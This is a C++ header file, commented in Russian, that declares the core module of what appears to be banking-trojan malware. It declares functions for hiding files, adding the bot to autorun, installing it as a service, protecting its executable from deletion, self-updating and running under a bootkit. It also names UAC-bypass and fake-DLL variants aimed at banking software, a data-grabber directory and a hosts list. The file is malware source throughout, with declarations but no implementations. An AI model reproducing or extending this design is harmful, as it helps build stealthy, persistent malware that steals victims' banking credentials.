//---------------------------------------------------------------------------
//  Основной модуль бота, объеденяющий в себе базовые модули
//---------------------------------------------------------------------------

#ifndef BotCoreH
#define BotCoreH
//---------------------------------------------------------------------------


//=============================================================
//  Данная директива включает установку бота как сервиса
//=============================================================
#ifndef INSTALL_BOT_AS_SERVICE
	//#define INSTALL_BOT_AS_SERVICE
#endif;




//=============================================================
//  Директива включает испоьзование директории текущего
//  пользователя
//=============================================================
#define USE_CURRENT_USER



// подключаем модуль для работы с WINAPI в боте
#include "GetApi.h"

// Модуль для работы с памятью
#include "Memory.h"

// Модуль для работы со строками
#include "Strings.h"

// Модуль шифрования
#include "Crypt.h"

// Базовые настройки бота
#include "Config.h"


// Модуль базовых утилит
#include "Utils.h"

// Модуль для работы с HTTP
#include "BotHTTP.h"


//*****************************************************************************
//  Этот модуль НЕ содержится в общих исходниках
//  Еего должен реализовывать каждый проект
//  Модуль подключает в себе все дополнительные модули
//  меняющие функционал бота
//  Да-же если не планируется использование дополнительных
//  модулей проект всё равно должен включать этот модуль
//*****************************************************************************
#include "Modules.h"



//--------------------------------------------
// Максимальное количество фалов которые будет
// прятать бот
//--------------------------------------------
#define MAX_HIDDEN_FILES 15


//--------------------------------------------
// Тип бота
//--------------------------------------------
enum TBotType { BotRing3   = 0,
				BotService = 1,
				BotFakeDll = 2,
				BotBootkit = 3,
				BotBypassUAC = 4,
				BotLoaderPlugin = 5};


//--------------------------------------------
// Тип запущенного процесса
//--------------------------------------------
enum TProcessType { ProcessUnknown  = 0,
					ProcessExplorer = 1,
					ProcessLoader   = 2,
					ProcessService  = 3};





//***********************************************************
//  TBotApplication - класс предоставления доступа к
//                    ключевым моментам бота
//***********************************************************
class TBotApplication : public TBotObject
{
private:
	bool   FTerminated;
	DWORD  FPID;
    string FUID;
	string FApplicationName;
	string FPerfixFileName;

	string FGrabberPath;

public:
	TBotApplication();
	~TBotApplication();

	DWORD  PID();
	string UID();


	string ApplicationName(); // Имя приложения в котором работает бот

	string PrefixFileName();  // Функция возвращает имя файла для хранения префикса
	string GrabberPath();     // Путь к рабочему каталогу грабера данных

	string CreateFile(const char* SubDir, const char* FileName);    // Функция создаёт файл в рабочем катологе бота
	string CreateFile(const string &SubDir, const char* FileName);


	bool   FileExists(const char* SubDir, const char* FileName);    // Функция проверяет наличие файла в рабочей папке бота
	bool   FileExists(const string &SubDir, const char* FileName);

};




//*****************************************************************************
//  Bot - Методы для организации работы ядра бота
//*****************************************************************************
namespace BOT
{
	//----------------------------------------------------
	//  Initialize - Функция инициализирует глобальные
	//				 настройки бота
	//----------------------------------------------------
    void Initialize(TProcessType ProcessType = ProcessUnknown);

	//инициализирует только систему вызова функций API, нужна для запуска из под буткита
	//Initialize() не работает при вызове из под буткита, точнее не срабаывает строка Bot = new TBotApplication();, нужно выяснить почему
	void InitializeApi();


	//----------------------------------------------------
	//  Функция вернёт истину если поступила команда
	//  прерваь работу бота. Задействовано для горячего
	//  апдейта бота.
	//
	//  В данный момент функция-заглушка
	//----------------------------------------------------
	bool Terminated();


	//----------------------------------------------------
	// GetBotPath - Имя кoрневого каталога бота
	//              В этом каталоге будут лежать самые
	//              выжные файлы бота.
	//  Для некритичных, временных и других файлов
	//  использовать GetWorkPath()
	//----------------------------------------------------
	string GetBotPath();


	//-------------------------------------------
	// WorkPath - Функция возвращает полный путь
	//            рабочего каталога бота
	//-------------------------------------------
	string WorkPath();

	//-------------------------------------------
	// MakeFileName - Функция генерирует имя фала
	//                Имена поддиректории и файла
	//                шифруются уидом
	//-------------------------------------------
	string MakeFileName(const char* SubDir, const char* FileName);
	string MakeFileName(const string &SubDir, const string &FileName);


	//----------------------------------------------------
	// Функция возвращает рабочий каталог бота
	//
	// SubDir - подкатолог, который будет добавлен к
	//          полученному результату.
	//          НЕ должен начинаться со слеша, но ДОЛЖЕН
	//			им заканчиваться
	//
	// FileName - Имя файла, которое будет добавлено к
	//			  полученному каталогу
	//----------------------------------------------------
	PCHAR GetWorkPath(PCHAR SubDir = NULL, PCHAR FileName = NULL);

	//----------------------------------------------------
	//  GetWorkPathInSysDrive - Аналог функции GetWorkPath.
	//  	Главное от личие от нёэ в том, что пусть
	//      создаётся в корне системного диска
	//----------------------------------------------------
	//PCHAR GetWorkPathInSysDrive(PCHAR SubDir = NULL, PCHAR FileName = NULL);

	//----------------------------------------------------
	//  GetWorkFolderHash - Функция возвращает хэш
	//  	                   имени рабочей папки
	//----------------------------------------------------
   //	DWORD GetWorkFolderHash();

	//----------------------------------------------------
	//  GetBotFileName - Функция возвращает имя файла бота
	//----------------------------------------------------
	PCHAR GetBotExeName();

	//----------------------------------------------------
	//  GetBotLinkName - Функция возвращает имя файла
	//     				 ярлыка бота
	//----------------------------------------------------
	//string GetBotLinkName();

	//----------------------------------------------------
	//  GetBotExeNameHash - Функция возвращает хэш имя
	//						файла бота
	//----------------------------------------------------
    DWORD GetBotExeNameHash();

	//----------------------------------------------------
	//  GetBotFullExeName - Функция возвращает полное имя
	//						файла бота
	//----------------------------------------------------
	string GetBotFullExeName();

	//----------------------------------------------------
	//  GetServiceFullExeName - Функция возвращает полное
	//						    имя файла сервиса бота
	//----------------------------------------------------
	string GetServiceFullExeName();


	//----------------------------------------------------
	// Функция защищает ехе бота от удаления
	//----------------------------------------------------
	void Protect(PCHAR FileName);

	//----------------------------------------------------
	// Функция снимает защиту с ехе файла бота
	//----------------------------------------------------
	void Unprotect();


	//----------------------------------------------------
	// AddToAutoRun - Функция добавляет бот в автозагрузку
	//----------------------------------------------------
	bool AddToAutoRun(PCHAR FileName);


	//----------------------------------------------------
	// InstallService - Функция инсталирует ехе бота
	//                  как сервис
	// FileName - Имя ехе файла бота
	//----------------------------------------------------
	bool InstallService(const char* FileName);

	//----------------------------------------------------
	// UninstallService - Функция деинсталирует
	//                    сервис бота
	//----------------------------------------------------
	bool UninstallService();

	//----------------------------------------------------
	// UpdateService - Функция обновляет ехе сервиса
	//----------------------------------------------------
    bool UpdateService(const char* FileName);

	//----------------------------------------------------
	// ExecuteService - Функция запускает выполнение
	//                  сервиса
	//----------------------------------------------------
	void ExecuteService();


	//----------------------------------------------------
	// IsService - Функция возвращает истину если
	//             текущий процесс является сервисом
	//----------------------------------------------------
	bool IsService();

	//----------------------------------------------------
	//  TryCreatBotInstance - функция возвращает 
	//  хендл мьютекса, не нулевое значение которого
	//  означает что этот экземпляр запущен первым.
	//----------------------------------------------------
	HANDLE TryCreateBotInstance();

	//создает мьютекс для буткита, если возвращает 0, то значит уже кто-то его создал 
	HANDLE CreateBootkitMutex();

	//возвращает true, если запущен бот из под буткита
	bool BootkitIsRun();

	//----------------------------------------------------
	//  IsRunning - Функция возвращает истину если в
	//  системе уже запущен экземпляр бота
	//----------------------------------------------------
	bool IsRunning();

	//----------------------------------------------------
	//  SendProcessMessage - Функция отправляет сообщение
	//  служебному процессу
	//----------------------------------------------------
	bool SendProcessMessage(TProcessType Process, const string &Mesage);


	//----------------------------------------------------
	//  Delete - Функция удаляет ехе бота
	//----------------------------------------------------
    void Delete();

	// удаляет тело (файл) бота
	// TimeOut - Время (мили сек.) в течении которого функция будет пытаться
	// удалить файл. Если TimeOut == 0 то будет произведена одна попытка
	//
	// DeleteAfterReboot - В случае неудачи указаь системе о необходимости
	// удаления файла после ребута

	bool DeleteBotFile( const char* FileName, DWORD TimeOut = 0, bool DeleteAfterReboot = true);

	//удаляет бота из автозагрузки
	void DeleteAutorunBot();


	//----------------------------------------------------
	//  Функция сохраненият/удаления настроеки бота
	//----------------------------------------------------
	void SaveSettings(bool SavePrefix, bool SaveHosts, bool IgnoreIfExists);
	void DeleteSettings();

	void SavePrefixToTemporaryFile();
	void SavePrefixFromTemporaryFile(bool IgnoreIfExists);

	//----------------------------------------------------
	//  Функция установки/получения типа бота
	//----------------------------------------------------
	void     SetBotType(TBotType Type);
	TBotType GetBotType();


	//----------------------------------------------------
	//  MakeUpdate - функция обновляет бота
	//----------------------------------------------------
	bool MakeUpdate(const char *FileName, bool ResetSettings);



	#ifdef BOTPLUG
		// Функция обновляет тело bot.plug
		bool UpdateBotPlug(BYTE* data, int c_data);
	#endif

   //----------------------------------------------------
   //  Функции для обеспечения сокрытия служебных файлов
   //----------------------------------------------------
   void        AddHiddenFile(DWORD FileHash);
   void        AddHiddenFile(const char* FileName);
   void inline AddHiddenFile(const string& FileName) { AddHiddenFile(FileName.t_str()); }

   bool IsHiddenFile(DWORD FileHash);
   bool IsHiddenFile(const char* FileName);

   //возвращает true, если фейкдлл установлена
   bool FakeDllInstalled();
   bool FakeDllIFobsInstalled();
   bool FakeDllCBankInstalled();

   //------------------------------------------
	//  GetFileName - Функция возвращает имя
	//                файла основного списка
	//				  хостов бота
	//------------------------------------------
	PCHAR GetHostsFileName();

}

//уид бота, инициализируется в функции BOT::Initialize(), также меняется если будет изменен префикс 
//через функцию SetBankingMode()
extern char BOT_UID[128];



//===================================================
//    Глобальный класс приложения бота
//===================================================

extern TBotApplication* Bot;


//---------------------------------------------------------------------------
#endif
